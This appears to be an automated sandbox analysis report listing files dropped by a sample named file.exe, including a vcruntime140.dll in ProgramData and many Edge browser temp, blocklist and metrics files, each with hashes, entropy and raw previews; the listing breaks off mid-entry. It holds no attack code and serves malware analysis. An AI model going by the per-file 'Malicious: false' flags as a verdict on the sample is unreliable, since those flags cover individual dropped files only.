Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2af1cdad-ca6a-474c-a954-5532e594480e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46130
Entropy (8bit):	6.086771406736192
Encrypted:	false
SSDEEP:	768:XMkbJrT8IeQcrQgx9atMulhDO6vP6OBMO8GSHDZhy1DhSCAoXGoup1Xl3jVzXr4V:XMk1rT8HR9aG6001sRoXhu3VlXr4V
MD5:	D4B478C208B53030E891C0AA5BF5F82C
SHA1:	5DB0AA4BE5D3D88AF0A056B6E82F51DF927CEECA
SHA-256:	AC1929715595A6BA664A4A043BA5B065577E05D60829F7EECD821A43E66066F8
SHA-512:	178ECD633CBAD1ABFCE3E06BDD1DF0413CD1BF3A0BB9611ECD8C59E8DCCE930E2291B05B2F980A09F288E710EAAF1D83DF7BC5B60645CE3DD45759CC79896E6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730181564"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4607310a-9a68-4eb0-bcf8-edba25e4483b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44616
Entropy (8bit):	6.095791391954017
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawuYhDO6vP6OBg0m3VL5FXcGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEW6wchu3VlXr4CRo1
MD5:	21F351808DAC700AE903D36AD2893FCD
SHA1:	7B0B071D228CA66F7C4EA8C394401255BCE7E140
SHA-256:	6669A98F34079385B138E990246BA99E4B73EC3239AF28BD13AB671BD662C8A4
SHA-512:	AF6448D84F62126B2B04FCFFD52B0A56A8ACDAB3E41BA653AA02BB35539ADF4D9345B8995EBCB7CBA56700B6F3B0C848C023EF44226421A7755863A98F2B06B2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\468bef88-cb48-4b7e-8e63-82e88f9e2179.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46207
Entropy (8bit):	6.086700875059111
Encrypted:	false
SSDEEP:	768:XMkbJrT8IeQcrQg09atMulhDO6vP6OBgO8GSHDZhy1DhSCAoXGoup1Xl3jVzXr4V:XMk1rT8HU9aG6U01sRoXhu3VlXr4V
MD5:	C357C86A2A3C01C493B54D7AC5FC3596
SHA1:	DF23F90E24263814F22366C1DAAE44BB0E852139
SHA-256:	546271F28AD1FA2F4064AEC4C56511F7D7697D9D638B978BA90203E9AE7E4A9E
SHA-512:	F963411C9F1233211830C5936C127232C1B86681F9349F1C6CDC733E0C377C8C342CCFE97DCBE7F453DD942E72E1F0BC947BAEA0F0CB3055FA4DE7F822341FE3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730181564"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\557473d9-504a-4bc3-a9cb-8dd6be4a174b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44682
Entropy (8bit):	6.0953315551309
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkB2wuYhDO6vP6OBMO8GSHDZcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7yOEK60chu3VlXr4CRo1
MD5:	60BA5D17621B4B0D36F48172091E2632
SHA1:	BA91BE9C0DB87FD96D695FE5EC47C4A48B20337C
SHA-256:	C1E9432AE7CC35C2EFD18D66B8EA7FFF8812AE583F334389CD5264A99C6571B9
SHA-512:	EE594F15344CB9A85FD331FF38B7B7C05CB25252FCC569DD2D1743D63656719DDBAC94AC4CE063079D74DEEA02683FFD40AFA594EAC93036220BE477FC91D913
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\760c3cc0-cf59-47a9-93aa-6ee766ecbb4c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46207
Entropy (8bit):	6.086702811354516
Encrypted:	false
SSDEEP:	768:XMkbJrT8IeQcrQg0oatMulhDO6vP6OBgO8GSHDZhy1DhSCAoXGoup1Xl3jVzXr4V:XMk1rT8HUoaG6U01sRoXhu3VlXr4V
MD5:	1A50C70A0A1146EF37A24A05D5AFECEB
SHA1:	A9F3D92A14CD64665F41B0713EE9811A490B35A7
SHA-256:	CE9250E2E37FA8D86BCE64D283AE8C56345B5B2B94B44FDD9EB38033FCDFBDE0
SHA-512:	068D3B1E28424C9C721A38D6FB7216D4363779F7343F76FAE5014D62100BC24AC12995E208C06F4C5401D974965E758FAA9FC7A2F994607377FCDB1B98438A96
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730181564"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\938d8f07-966b-44b9-965e-e243420827fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44616
Entropy (8bit):	6.095791391954017
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBawuYhDO6vP6OBg0m3VL5FXcGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEW6wchu3VlXr4CRo1
MD5:	21F351808DAC700AE903D36AD2893FCD
SHA1:	7B0B071D228CA66F7C4EA8C394401255BCE7E140
SHA-256:	6669A98F34079385B138E990246BA99E4B73EC3239AF28BD13AB671BD662C8A4
SHA-512:	AF6448D84F62126B2B04FCFFD52B0A56A8ACDAB3E41BA653AA02BB35539ADF4D9345B8995EBCB7CBA56700B6F3B0C848C023EF44226421A7755863A98F2B06B2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\6cad9243-090c-4f4d-acea-d8707c976570.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-672079B7-1D80.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 2048.000000, slope 17753217332035315519916605440.000000
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45040573433950687
Encrypted:	false
SSDEEP:	3072:jGD9iD3j+9MkqZuorPkc/rURxr3p4lu2qAuq8/tJpmV2lpbg1HFa:09im9Cuojkc/oLSuyuq8/tJG2lpbaH
MD5:	937BCAA6F3FAD1696F905D2ECA8313E9
SHA1:	F375298965AAD28013C053C8DD95AFDC755F5E6D
SHA-256:	97C5412A9EEF3B6B552EEB085E548F32C5EE124BACB719D31814E146E1A24B65
SHA-512:	D7CBA00A972D8FC3FE72E553DC368C960162C8499B77EABC85B4B273F5257664F94F979DAE38140E2AEE7B2FF9C8E9330A790226BFCF36AE08B8A1FE036218F5
Malicious:	false
Preview:	...@..@...@.....C.].....@...................0...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".tnfogx20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ ...2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\15b04ea3-5486-4ede-a121-25a70c315705.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\28f72541-6e2b-45f2-ac01-00c9078a824a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561638290360999
Encrypted:	false
SSDEEP:	768:XlLrWA7pLGLplXWP6YfxW8F1+UoAYDCx9Tuqh0VfUC9xbog/OVh6krxb2rwbN/XO:XlLrWMcplXWP6YfxWu1ja06k9bTbN/XO
MD5:	76604F1EE8E91FBDCB62DAC2A8DD2B39
SHA1:	EB3C79D6364E27B2781F55412171FADB293582B1
SHA-256:	7519BEC9262FCE69D2A00A1EAEBB4BA34511C5BE1FCF655195E5DA13F2DD49D7
SHA-512:	828E3CBDAC355CF4F17518452D2B532BB0F281FBE14FE733253920B2ED6A80F1DA38CA3F96588BEEE34F46E31F06A1143AAB23E20B0657A4B3F8A7DFE127C5A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374655159305984","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374655159305984","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6079f9e4-ec83-4bd7-93a3-aa41f402bca7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.56157929685966
Encrypted:	false
SSDEEP:	768:XlLrWA7pLGLplXWP6YfuW8F1+UoAYDCx9Tuqh0VfUC9xbog/OVh6krxb2rwbN/Yb:XlLrWMcplXWP6YfuWu1ja06k9bTbN/Yb
MD5:	217F802442E908FEE0C8CF1089B34DEA
SHA1:	F24E948C0BCEEB3E2B27F10B2D621D38D9E8F03C
SHA-256:	DE13B53FB2EAD324A78C2E62906F275DC32684D2FCA102D34C26F35D7D4FE664
